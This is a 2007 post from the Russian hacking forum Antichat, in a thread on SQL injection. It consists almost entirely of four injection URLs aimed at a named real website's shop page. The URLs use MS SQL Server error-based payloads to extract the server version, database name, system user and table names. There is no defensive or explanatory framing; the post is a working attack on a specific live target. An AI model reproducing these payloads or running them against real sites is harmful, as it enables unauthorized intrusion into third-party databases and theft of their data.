Форум АНТИЧАТ - Показать сообщение отдельно

Тема: SQL Инъекции

Показать сообщение отдельно

23.08.2007, 17:59

groundhog

Познавший АНТИЧАТ

Регистрация: 12.05.2007

Сообщений: 1,235

Провел на форуме:
2238549

Репутация: 1318

MS SERVER.

Цитата:

http://www.tours.ru/shop/default.asp?top_id=1+OR+1=@@version+--+

Цитата:

http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+DB_NAME())+--+

Цитата:

http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+SYSTEM_USER)+--+

Цитата:

http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)+--+